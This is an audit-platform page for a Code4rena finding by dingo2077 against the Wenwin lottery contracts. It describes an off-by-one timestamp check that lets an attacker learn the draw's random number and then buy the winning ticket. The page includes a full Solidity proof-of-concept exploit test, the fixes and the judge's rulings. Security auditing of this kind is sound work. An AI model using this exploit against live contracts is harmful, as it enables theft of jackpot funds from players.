Wenwin contest - dingo2077's results

The next generation of chance-based gaming.

General Information

Platform: Code4rena

Start Date: 06/03/2023

Pot Size: $36,500 USDC

Total HM: 8

Participants: 93

Period: 3 days

Judge: cccz

Total Solo HM: 3

Id: 218

League: ETH

Wenwin

Findings Distribution

Researcher Performance

Rank: 14/93

Findings: 1

Award: $530.13

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: dingo2077

Also found by: 0x73696d616f, Blockian, d3e4, savi0ur

Labels

bug
2 (Med Risk)
downgraded by judge
primary issue
satisfactory
selected for report
M-04

Awards

530.1313 USDC - $530.13

External Links

Lines of code

https://github.com/code-423n4/2023-03-wenwin/blob/91b89482aaedf8b8feb73c771d11c257eed997e8/src/Lottery.sol#L135 https://github.com/code-423n4/2023-03-wenwin/blob/91b89482aaedf8b8feb73c771d11c257eed997e8/src/LotterySetup.sol#L114

Vulnerability details

Impact

Attacker can run executeDraw() in Lottery.sol, receive random numbers and than buy tickets with known numbers in one block. Harm: Jackpot

Proof of Concept

This vulnerability is possible to use when contract has been deployed with COOL_DOWN_PERIOD = 0; The executeDraw() allows to be called at the last second of draw due to an incorrect comparison block.timestamp with drawScheduledAt(currentDraw), what is start of draw.

function executeDraw() external override whenNotExecutingDraw { // slither-disable-next-line timestamp if (block.timestamp < drawScheduledAt(currentDraw)) { //@dingo should be <= here revert ExecutingDrawTooEarly(); } returnUnclaimedJackpotToThePot(); drawExecutionInProgress = true; requestRandomNumber(); emit StartedExecutingDraw(currentDraw); }

Also modifier in LotterySetup.sol allows same action:

modifier beforeTicketRegistrationDeadline(uint128 drawId) { // slither-disable-next-line timestamp if (block.timestamp > ticketRegistrationDeadline(drawId)) { //@dingo should be >= here revert TicketRegistrationClosed(drawId); } _; }

Exploit: -Attacker is waiting for last second of PERIOD (between to draws). -Call executeDraw(). It will affect at requestRandomNumber() and chainlink will return random number to onRandomNumberFulfilled() at RNSourceController.sol. -Attacker now could read received RandomNumber:

uint256 winningTicketTemp = lot.winningTicket(0);
  • Attacker buy new ticket with randomNumber:
uint128[] memory drawId2 = new uint128[](1); drawId2[0] = 0; uint120[] memory winningArray = new uint120[](1); winningArray[0] = uint120(winningTicketTemp); lot.buyTickets(drawId2, winningArray, address(0), address(0));

-Claim winnings:

uint256[] memory ticketID = new uint256[](1); ticketID[0] = 1; lot.claimWinningTickets(ticketID);

Exploit code:

// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.13; import "./LotteryTestBase.sol"; import "../src/Lottery.sol"; import "./TestToken.sol"; import "test/TestHelpers.sol"; contract LotteryTestCustom is LotteryTestBase { address public eoa = address(1234); address public attacker = address(1235); function testExploit() public { vm.warp(0); Lottery lot = new Lottery( LotterySetupParams( rewardToken, LotteryDrawSchedule(2 * PERIOD, PERIOD, COOL_DOWN_PERIOD), TICKET_PRICE, SELECTION_SIZE, SELECTION_MAX, EXPECTED_PAYOUT, fixedRewards ), playerRewardFirstDraw, playerRewardDecrease, rewardsToReferrersPerDraw, MAX_RN_FAILED_ATTEMPTS, MAX_RN_REQUEST_DELAY ); lot.initSource(IRNSource(randomNumberSource)); vm.startPrank(eoa); rewardToken.mint(1000 ether); rewardToken.approve(address(lot), 100 ether); rewardToken.transfer(address(lot), 100 ether); vm.warp(60 * 60 * 24 + 1); lot.finalizeInitialPotRaise(); uint128[] memory drawId = new uint128[](1); drawId[0] = 0; uint120[] memory ticketsDigits = new uint120[](1); ticketsDigits[0] = uint120(0x0F); //1,2,3,4 numbers choosed; ///@dev Origin user buying ticket. lot.buyTickets(drawId, ticketsDigits, address(0), address(0)); vm.stopPrank(); //====start of attack==== vm.startPrank(attacker); rewardToken.mint(1000 ether); rewardToken.approve(address(lot), 100 ether); console.log("attacker balance before buying ticket: ", rewardToken.balanceOf(attacker)); vm.warp(172800); //Attacker is waiting for deadline of draw period, than he could call executeDraw(); lot.executeDraw(); //Due to the lack of condition check in executeDraw(`<` should be `<=`). Also call was sent to chainlink. uint256 randomNumber = 0x00; vm.stopPrank(); vm.prank(address(randomNumberSource)); lot.onRandomNumberFulfilled(randomNumber); //chainLink push here randomNumber; uint256 winningTicketTemp = lot.winningTicket(0); //random number from chainlink stores here. console.log("Winning ticket number is: ", winningTicketTemp); vm.startPrank(attacker); uint128[] memory drawId2 = new uint128[](1); drawId2[0] = 0; uint120[] memory winningArray = new uint120[](1); winningArray[0] = uint120(winningTicketTemp); //@audit we will buy ticket with stealed random number below; lot.buyTickets(drawId2, winningArray, address(0), address(0)); //attacker can buy ticket with stealed random number. uint256[] memory ticketID = new uint256[](1); ticketID[0] = 1; lot.claimWinningTickets(ticketID); //attacker claims winninngs. vm.stopPrank(); console.log("attacker balance after all: ", rewardToken.balanceOf(attacker)); } function reconstructTicket( uint256 randomNumber, uint8 selectionSize, uint8 selectionMax ) internal pure returns (uint120 ticket) { /// Ticket must contain unique numbers, so we are using smaller selection count in each iteration /// It basically means that, once `x` numbers are selected our choice is smaller for `x` numbers uint8[] memory numbers = new uint8[](selectionSize); uint256 currentSelectionCount = uint256(selectionMax); for (uint256 i = 0; i < selectionSize; ++i) { numbers[i] = uint8(randomNumber % currentSelectionCount); randomNumber /= currentSelectionCount; currentSelectionCount--; } bool[] memory selected = new bool[](selectionMax); for (uint256 i = 0; i < selectionSize; ++i) { uint8 currentNumber = numbers[i]; // check current selection for numbers smaller than current and increase if needed for (uint256 j = 0; j <= currentNumber; ++j) { if (selected[j]) { currentNumber++; } } selected[currentNumber] = true; ticket |= ((uint120(1) << currentNumber)); } } }

Tools Used

VScode and manual review.

  1. Change < by <=:
function executeDraw() external override whenNotExecutingDraw { // slither-disable-next-line timestamp if (block.timestamp < drawScheduledAt(currentDraw)) { //@dingo should be <= here revert ExecutingDrawTooEarly(); } returnUnclaimedJackpotToThePot(); drawExecutionInProgress = true; requestRandomNumber(); emit StartedExecutingDraw(currentDraw); }
  1. Change > by >=:
modifier beforeTicketRegistrationDeadline(uint128 drawId) { // slither-disable-next-line timestamp if (block.timestamp > ticketRegistrationDeadline(drawId)) { //@dingo should be >= here revert TicketRegistrationClosed(drawId); } _; }

#0 - c4-judge

2023-03-10T10:20:38Z

thereksfour marked the issue as duplicate of #141

#1 - c4-judge

2023-03-19T09:59:08Z

thereksfour marked the issue as selected for report

#2 - c4-judge

2023-03-19T09:59:28Z

thereksfour changed the severity to 2 (Med Risk)

#3 - c4-judge

2023-03-19T10:07:24Z

thereksfour marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter